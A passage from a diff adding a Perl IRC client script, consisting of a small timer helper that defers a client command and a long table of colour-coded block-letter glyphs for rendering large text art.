+
+
+# this just makes it so it looks right on your side
+sub delaycommand {
+	my $command = $_[0];
+	hook_timer( 0,
+		sub {
+			command($command);
+			return REMOVE;
+		}
+	); 
+	return EAT_NONE;
+}
+
+
+
+#------------------#
+#   character db   #
+#       lol        #
+#------------------#
+
+sub db1 {
+return (
+" " => [
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+"$c3      ",
+],
+"\cC" => [
+"$c3             ",
+"$c1 $c2  $c3  $c1 $c2       $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3     ",
+"$c1 $c2  $c3  $c1 $c2  $c3     ",
+"$c1 $c2            $c3",
+"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
+"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2       $c3  $c1 $c2  $c3",
+"$c3             ",
+],
+"\cB" => [
+"$c3             ",
+"$c1 $c2  $c3  $c1 $c2       $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3     ",
+"$c1 $c2  $c3  $c1 $c2  $c3     ",
+"$c1 $c2            $c3",
+"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
+"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2       $c3  $c1 $c2  $c3",
+"$c3             ",
+],
+"\cO" => [
+"$c3             ",
+"$c1 $c2  $c3  $c1 $c2       $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3     ",
+"$c1 $c2  $c3  $c1 $c2  $c3     ",
+"$c1 $c2            $c3",
+"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
+"$c3     $c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2       $c3  $c1 $c2  $c3",
+"$c3             ",
+],
+"0" => [
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2      $c3 ",
+"$c3         ",
+],
+"1" => [
+"$c3       ",
+"$c3  $c1 $c2  $c3  ",
+"$c3 $c1 $c2   $c3  ",
+"$c1 $c2    $c3  ",
+"$c3  $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3  ",
+"$c1 $c2      $c3",
+"$c3       ",
+],
+"2" => [
+"$c3        ",
+"$c3 $c1 $c2     $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3    $c1 $c2  $c3 ",
+"$c3   $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3   ",
+"$c3 $c1 $c2  $c3    ",
+"$c1 $c2       $c3",
+"$c3        ",
+],
+"3" => [
+"$c3        ",
+"$c3 $c1 $c2     $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3     $c1 $c2  $c3",
+"$c3   $c1 $c2   $c3 ",
+"$c3     $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3 $c1 $c2     $c3 ",
+"$c3        ",
+],
+"4" => [
+"$c3        ",
+"$c3    $c1 $c2  $c3 ",
+"$c3   $c1 $c2   $c3 ",
+"$c3  $c1 $c2 $c1 $c2  $c3 ",
+"$c3 $c1 $c2 $c3 $c1 $c2  $c3 ",
+"$c1 $c2       $c3",
+"$c3    $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3 ",
+"$c3        ",
+],
+"5" => [
+"$c3        ",
+"$c1 $c2      $c3 ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2      $c3 ",
+"$c3     $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3 $c1 $c2     $c3 ",
+"$c3        ",
+],
+"6" => [
+"$c3        ",
+"$c3   $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3   ",
+"$c3 $c1 $c2  $c3    ",
+"$c1 $c2      $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3 $c1 $c2     $c3 ",
+"$c3        ",
+],
+"7" => [
+"$c3         ",
+"$c1 $c2        $c3",
+"$c3      $c1 $c2  $c3",
+"$c3     $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c3   ",
+"$c3  $c1 $c2  $c3    ",
+"$c3 $c1 $c2  $c3     ",
+"$c3         ",
+],
+"8" => [
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2      $c3 ",
+"$c3         ",
+],
+"9" => [
+"$c3        ",
+"$c3 $c1 $c2     $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3 $c1 $c2      $c3",
+"$c3    $c1 $c2  $c3 ",
+"$c3   $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3   ",
+"$c3        ",
+],
+"A" => [
+"$c3        ",
+"$c3  $c1 $c2   $c3  ",
+"$c3 $c1 $c2  $c1 $c2  $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2       $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3        ",
+],
+"a" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1 $c2     $c3  ",
+"$c3     $c1 $c2  $c3 ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3 ",
+"$c3 $c1 $c2       $c3",
+"$c3         ",
+],
+"B" => [
+"$c3         ",
+"$c1 $c2       $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2       $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2       $c3 ",
+"$c3         ",
+],
+"b" => [
+"$c3         ",
+"$c1 $c2  $c3      ",
+"$c1 $c2  $c3      ",
+"$c1 $c2      $c3  ",
+"$c1 $c2  $c3  $c1 $c2  $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3 ",
+"$c1 $c2      $c3  ",
+"$c3         ",
+],
+"C" => [
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3      ",
+"$c1 $c2  $c3      ",
+"$c1 $c2  $c3      ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2      $c3 ",
+"$c3         ",
+],
+"c" => [
+"$c3        ",
+"$c3        ",
+"$c3        ",
+"$c3  $c1 $c2     $c3",
+"$c3 $c1 $c2  $c3    ",
+"$c1 $c2  $c3     ",
+"$c3 $c1 $c2  $c3    ",
+"$c3  $c1 $c2     $c3",
+"$c3        ",
+],
+"D" => [
+"$c3          ",
+"$c1 $c2       $c3  ",
+"$c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c1 $c2  $c3    $c1 $c2  $c3",
+"$c1 $c2  $c3    $c1 $c2  $c3",
+"$c1 $c2  $c3    $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c1 $c2       $c3  ",
+"$c3          ",
+],
+"d" => [
+"$c3         ",
+"$c3      $c1 $c2  $c3",
+"$c3      $c1 $c2  $c3",
+"$c3  $c1 $c2      $c3",
+"$c3 $c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3  $c1 $c2  $c3",
+"$c3  $c1 $c2      $c3",
+"$c3         ",
+],
+"E" => [
+"$c3        ",
+"$c1 $c2       $c3",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2      $c3 ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2       $c3",
+"$c3        ",
+],
+"e" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  ",
+"$c1 $c2       $c3 ",
+"$c1 $c2  $c3      ",
+"$c3 $c1 $c2      $c3 ",
+"$c3         ",
+],
+"F" => [
+"$c3        ",
+"$c1 $c2       ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2      $c3 ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c3        ",
+],
+"f" => [
+"$c3      ",
+"$c3      ",
+"$c3  $c1 $c2   ",
+"$c3 $c1 $c2  $c3  ",
+"$c1 $c2     ",
+"$c3 $c1 $c2  $c3  ",
+"$c3 $c1 $c2  $c3  ",
+"$c3 $c1 $c2  $c3  ",
+"$c3      ",
+],
+"G" => [
+"$c3          ",
+"$c3  $c1 $c2      $c3 ",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3       ",
+"$c1 $c2  $c3  $c1 $c2    $c3",
+"$c1 $c2  $c3    $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3",
+"$c3  $c1 $c2      $c3 ",
+"$c3          ",
+],
+"g" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2       $c3",
+"$c3      $c1 $c2  $c3",
+"$c3 $c1 $c2      $c3 ",
+],
+"H" => [
+"$c3         ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2        $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3         ",
+],
+"h" => [
+"$c3         ",
+"$c1 $c2  $c3      ",
+"$c1 $c2  $c3      ",
+"$c1 $c2       $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3         ",
+],
+"I" => [
+"$c3       ",
+"$c1 $c2      $c3",
+"$c3  $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3  ",
+"$c1 $c2      $c3",
+"$c3       ",
+],
+"i" => [
+"$c3     ",
+"$c3 $c1 $c2  $c3 ",
+"$c3     ",
+"$c1 $c2   $c3 ",
+"$c3 $c1 $c2  $c3 ",
+"$c3 $c1 $c2  $c3 ",
+"$c3 $c1 $c2  $c3 ",
+"$c1 $c2    ",
+"$c3     ",
+],
+"J" => [
+"$c3        ",
+"$c3 $c1 $c2      ",
+"$c3    $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3 ",
+"$c1 $c2  $c3 $c1 $c2  $c3 ",
+"$c3 $c1 $c2    $c3  ",
+"$c3        ",
+],
+"j" => [
+"$c3       ",
+"$c3    $c1 $c2  ",
+"$c3       ",
+"$c3   $c1 $c2   ",
+"$c3    $c1 $c2  ",
+"$c3    $c1 $c2  ",
+"$c3    $c1 $c2  ",
+"$c1 $c2  $c3 $c1 $c2  ",
+"$c3 $c1 $c2    $c3 ",
+],
+"K" => [
+"$c3        ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3 $c1 $c2  $c3 ",
+"$c1 $c2  $c1 $c2  $c3  ",
+"$c1 $c2    $c3   ",
+"$c1 $c2  $c1 $c2  $c3  ",
+"$c1 $c2  $c3 $c1 $c2  $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3        ",
+],
+"k" => [
+"$c3        ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3  $c1 $c2  ",
+"$c1 $c2  $c3 $c1 $c2  $c3 ",
+"$c1 $c2     $c3  ",
+"$c1 $c2  $c3 $c1 $c2  $c3 ",
+"$c1 $c2  $c3  $c1 $c2  ",
+"$c3        ",
+],
+"L" => [
+"$c3        ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2       $c3",
+"$c3        ",
+],
+"l" => [
+"$c3     ",
+"$c1 $c2   $c3 ",
+"$c3 $c1 $c2  $c3 ",
+"$c3 $c1 $c2  $c3 ",
+"$c3 $c1 $c2  $c3 ",
+"$c3 $c1 $c2  $c3 ",
+"$c3 $c1 $c2  $c3 ",
+"$c1 $c2    ",
+"$c3     ",
+],
+"M" => [
+"$c3            ",
+"$c1 $c2  $c3      $c1 $c2  $c3",
+"$c1 $c2   $c3    $c1 $c2   $c3",
+"$c1 $c2    $c3  $c1 $c2    $c3",
+"$c1 $c2  $c1 $c2  $c1 $c2  $c1 $c2  $c3",
+"$c1 $c2  $c3 $c1 $c2   $c3 $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2 $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3      $c1 $c2  $c3",
+"$c3            ",
+],
+"m" => [
+"$c3          ",
+"$c3          ",
+"$c3          ",
+"$c3 $c1 $c2  $c3  $c1 $c2  $c3 ",
+"$c1 $c2    $c1 $c2    $c3",
+"$c1 $c2  $c1 $c2   $c1 $c2  $c3",
+"$c1 $c2  $c3 $c1 $c2 $c3 $c1 $c2  $c3",
+"$c1 $c2  $c3    $c1 $c2  $c3",
+"$c3          ",
+],
+"N" => [
+"$c3           ",
+"$c1 $c2   $c3    $c1 $c2  ",
+"$c1 $c2    $c3   $c1 $c2  ",
+"$c1 $c2  $c1 $c2  $c3  $c1 $c2  ",
+"$c1 $c2  $c3 $c1 $c2  $c3 $c1 $c2  ",
+"$c1 $c2  $c3  $c1 $c2  $c1 $c2  ",
+"$c1 $c2  $c3   $c1 $c2    ",
+"$c1 $c2  $c3    $c1 $c2   ",
+"$c3           ",
+],
+"n" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3         ",
+],
+"O" => [
+"$c3           ",
+"$c3  $c1 $c2      $c3  ",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c3  $c1 $c2      $c3  ",
+"$c3           ",
+],
+"o" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2      $c3 ",
+"$c3         ",
+],
+"P" => [
+"$c3         ",
+"$c1 $c2       $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2       $c3 ",
+"$c1 $c2  $c3      ",
+"$c1 $c2  $c3      ",
+"$c1 $c2  $c3      ",
+"$c3         ",
+],
+"p" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2       $c3 ",
+"$c1 $c2  $c3      ",
+"$c1 $c2  $c3      ",
+],
+"Q" => [
+"$c3           ",
+"$c3  $c1 $c2      $c3  ",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3  $c1 $c2   $c3 ",
+"$c3  $c1 $c2      $c3  ",
+"$c3       $c1 $c2  $c3 ",
+],
+"q" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1 $c2      $c3 ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2       $c3",
+"$c3      $c1 $c2  $c3",
+"$c3      $c1 $c2  $c3",
+],
+"R" => [
+"$c3           ",
+"$c1 $c2       $c3   ",
+"$c1 $c2  $c3   $c1 $c2  $c3  ",
+"$c1 $c2  $c3   $c1 $c2  $c3  ",
+"$c1 $c2       $c3   ",
+"$c1 $c2  $c3   $c1 $c2  $c3  ",
+"$c1 $c2  $c3    $c1 $c2  $c3 ",
+"$c1 $c2  $c3     $c1 $c2  ",
+"$c3           ",
+],
+"r" => [
+"$c3        ",
+"$c3        ",
+"$c3        ",
+"$c3 $c1 $c2     $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c1 $c2  $c3     ",
+"$c3        ",
+],
+"S" => [
+"$c3        ",
+"$c3 $c1 $c2     $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3     ",
+"$c3 $c1 $c2     $c3 ",
+"$c3     $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3 $c1 $c2     $c3 ",
+"$c3        ",
+],
+"s" => [
+"$c3       ",
+"$c3       ",
+"$c3       ",
+"$c3 $c1 $c2     $c3",
+"$c1 $c2  $c3    ",
+"$c3 $c1 $c2    $c3 ",
+"$c3    $c1 $c2  $c3",
+"$c1 $c2     $c3 ",
+"$c3       ",
+],
+"T" => [
+"$c3         ",
+"$c1 $c2        $c3",
+"$c3   $c1 $c2  $c3   ",
+"$c3   $c1 $c2  $c3   ",
+"$c3   $c1 $c2  $c3   ",
+"$c3   $c1 $c2  $c3   ",
+"$c3   $c1 $c2  $c3   ",
+"$c3   $c1 $c2  $c3   ",
+"$c3         ",
+],
+"t" => [
+"$c3       ",
+"$c3       ",
+"$c3 $c1 $c2  $c3   ",
+"$c1 $c2     $c3 ",
+"$c3 $c1 $c2  $c3   ",
+"$c3 $c1 $c2  $c3   ",
+"$c3 $c1 $c2  $c1 $c2  ",
+"$c3  $c1 $c2   $c3 ",
+"$c3       ",
+],
+"U" => [
+"$c3           ",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c3  $c1 $c2      $c3  ",
+"$c3           ",
+],
+"u" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c1 $c2  $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2      $c3 ",
+"$c3         ",
+],
+"V" => [
+"$c3             ",
+"$c1 $c2 $c3         $c1 $c2 ",
+"$c1 $c2  $c3       $c1 $c2  ",
+"$c3 $c1 $c2  $c3     $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c3   $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c3 $c1 $c2  $c3   ",
+"$c3    $c1 $c2    $c3    ",
+"$c3     $c1 $c2  $c3     ",
+"$c3             ",
+],
+"v" => [
+"$c3            ",
+"$c3            ",
+"$c3            ",
+"$c1 $c2  $c3      $c1 $c2  ",
+"$c3 $c1 $c2  $c3    $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c3  $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c1 $c2  $c3   ",
+"$c3    $c1 $c2   $c3    ",
+"$c3            ",
+],
+"W" => [
+"$c3           ",
+"$c1 $c2  $c3     $c1 $c2  ",
+"$c1 $c2  $c3     $c1 $c2  ",
+"$c1 $c2  $c3     $c1 $c2  ",
+"$c1 $c2  $c3 $c1 $c2  $c3 $c1 $c2  ",
+"$c1 $c2  $c1 $c2    $c1 $c2  ",
+"$c1 $c2    $c3 $c1 $c2    ",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c3           ",
+],
+"w" => [
+"$c3          ",
+"$c3          ",
+"$c3          ",
+"$c1 $c2  $c3    $c1 $c2  $c3",
+"$c1 $c2  $c3 $c1 $c2 $c3 $c1 $c2  $c3",
+"$c1 $c2  $c1 $c2   $c1 $c2  $c3",
+"$c1 $c2    $c1 $c2    $c3",
+"$c3 $c1 $c2  $c3  $c1 $c2  $c3 ",
+"$c3          ",
+],
+"X" => [
+"$c3          ",
+"$c1 $c2  $c3    $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3  $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c1 $c2  $c3  ",
+"$c3   $c1 $c2   $c3   ",
+"$c3  $c1 $c2  $c1 $c2  $c3  ",
+"$c3 $c1 $c2  $c3  $c1 $c2  $c3 ",
+"$c1 $c2  $c3    $c1 $c2  $c3",
+"$c3          ",
+],
+"x" => [
+"$c3        ",
+"$c3        ",
+"$c3        ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3 $c1 $c2  $c1 $c2  $c3 ",
+"$c3   $c2   $c3  ",
+"$c3 $c1 $c2  $c1 $c2  $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3        ",
+],
+"Y" => [
+"$c3           ",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
+"$c3   $c1 $c2    $c3   ",
+"$c3    $c1 $c2  $c3    ",
+"$c3    $c1 $c2  $c3    ",
+"$c3    $c1 $c2  $c3    ",
+"$c3           ",
+],
+"y" => [
+"$c3           ",
+"$c3           ",
+"$c3           ",
+"$c1 $c2  $c3     $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3   $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
+"$c3   $c1 $c2    $c3   ",
+"$c3    $c1 $c2  $c3    ",
+"$c3   $c1 $c2  $c3     ",
+],
+"Z" => [
+"$c3         ",
+"$c1 $c2        $c3",
+"$c3     $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c3   ",
+"$c3  $c1 $c2  $c3    ",
+"$c3 $c1 $c2  $c3     ",
+"$c1 $c2        $c3",
+"$c3         ",
+],
+"z" => [
+"$c3          ",
+"$c3          ",
+"$c3          ",
+"$c1 $c2        $c3 ",
+"$c3     $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c3    ",
+"$c3 $c1 $c2  $c3      ",
+"$c1 $c2        $c3 ",
+"$c3          ",
+],
+"\~" => [
+"$c3             ",
+"$c3             ",
+"$c3             ",
+"$c3  $c1 $c2    $c3   $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3 $c1 $c2  $c3 $c1 $c2  $c3 ",
+"$c1 $c2  $c3   $c1 $c2    $c3  ",
+"$c3             ",
+"$c3             ",
+"$c3             ",
+],
+"\`" => [
+"$c3    ",
+"$c1 $c2  $c3 ",
+"$c3 $c1 $c2  ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+],
+"\!" => [
+"$c3         ",
+"$c3      $c1 $c2  $c3",
+"$c3     $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c3   ",
+"$c3  $c1 $c2  $c3    ",
+"$c3         ",
+"$c1 $c2  $c3      ",
+"$c3         ",
+],
+"\@" => [
+"$c3            ",
+"$c3  $c1 $c2       $c3  ",
+"$c3 $c1 $c2  $c3    $c1 $c2  $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3 $c1 $c2  $c3",
+"$c1 $c2  $c3 $c1 $c2  $c3  $c1 $c2  $c3",
+"$c1 $c2  $c3  $c1 $c2     $c3 ",
+"$c3 $c1 $c2  $c3        ",
+"$c3  $c1 $c2       $c3  ",
+"$c3            ",
+],
+"\#" => [
+"$c3           ",
+"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
+"$c1 $c2          ",
+"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
+"$c1 $c2          ",
+"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
+"$c3  $c1 $c2  $c3 $c1 $c2  $c3  ",
+"$c3           ",
+],
+"\$" => [
+"$c3    $c1 $c2 $c3    ",
+"$c3 $c1 $c2       $c3 ",
+"$c1 $c2  $c3 $c1 $c2 $c3 $c1 $c2  $c3",
+"$c1 $c2  $c3 $c1 $c2 $c3    ",
+"$c3 $c1 $c2       $c3 ",
+"$c3    $c1 $c2 $c3 $c1 $c2  $c3",
+"$c1 $c2  $c3 $c1 $c2 $c3 $c1 $c2  $c3",
+"$c3 $c1 $c2       $c3 ",
+"$c3    $c1 $c2 $c3    ",
+],
+"\%" => [
+"$c3         ",
+"$c1 $c2  $c3   $c1 $c2  ",
+"$c3     $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c3   ",
+"$c3  $c1 $c2  $c3    ",
+"$c3 $c1 $c2  $c3     ",
+"$c1 $c2  $c3   $c1 $c2  ",
+"$c3         ",
+],
+"\^" => [
+"$c3        ",
+"$c3        ",
+"$c3  $c1 $c2   $c3  ",
+"$c3 $c1 $c2  $c1 $c2  $c3 ",
+"$c1 $c2  $c3  $c1 $c2  $c3",
+"$c3        ",
+"$c3        ",
+"$c3        ",
+"$c3        ",
+],
+"\&" => [
+"$c3           ",
+"$c3  $c1 $c2    $c3    ",
+"$c3 $c1 $c2  $c3 $c1 $c2  $c3   ",
+"$c3  $c1 $c2    $c3    ",
+"$c3 $c1 $c2  $c3 $c1 $c2  $c3   ",
+"$c1 $c2  $c3   $c1 $c2  $c3  ",
+"$c1 $c2  $c3    $c1 $c2  $c3 ",
+"$c3 $c1 $c2      $c1 $c2  $c3",
+"$c3           ",
+],
+"\*" => [
+"$c3     ",
+"$c3     ",
+"$c1 $c2 $c3 $c1 $c2 ",
+"$c3 $c1 $c2  $c3 ",
+"$c1 $c2 $c3 $c1 $c2 ",
+"$c3     ",
+"$c3     ",
+"$c3     ",
+"$c3     ",
+],
+"\(" => [
+"$c3     ",
+"$c3  $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3 ",
+"$c1 $c2  $c3  ",
+"$c1 $c2  $c3  ",
+"$c1 $c2  $c3  ",
+"$c3 $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c3",
+"$c3     ",
+],
+"\)" => [
+"$c3     ",
+"$c1 $c2  $c3  ",
+"$c3 $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c3",
+"$c3  $c1 $c2  $c3",
+"$c3  $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3 ",
+"$c1 $c2  $c3  ",
+"$c3     ",
+],
+"_" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c1 $c2        $c3",
+"$c3         ",
+],
+"\-" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c1 $c2        $c3",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+],
+"\+" => [
+"$c3         ",
+"$c3         ",
+"$c3   $c1 $c2  $c3   ",
+"$c3   $c1 $c2  $c3   ",
+"$c1 $c2        $c3",
+"$c3   $c1 $c2  $c3   ",
+"$c3   $c1 $c2  $c3   ",
+"$c3         ",
+"$c3         ",
+],
+"\=" => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c1 $c2        $c3",
+"$c3         ",
+"$c1 $c2        $c3",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+],
+"\|" => [
+"$c3   ",
+"$c1 $c2  $c3",
+"$c1 $c2  $c3",
+"$c1 $c2  $c3",
+"$c1 $c2  $c3",
+"$c1 $c2  $c3",
+"$c1 $c2  $c3",
+"$c1 $c2  $c3",
+"$c3   ",
+],
+"\\" => [
+"$c3         ",
+"$c1 $c2  $c3      ",
+"$c3 $c1 $c2  $c3     ",
+"$c3  $c1 $c2  $c3    ",
+"$c3   $c1 $c2  $c3   ",
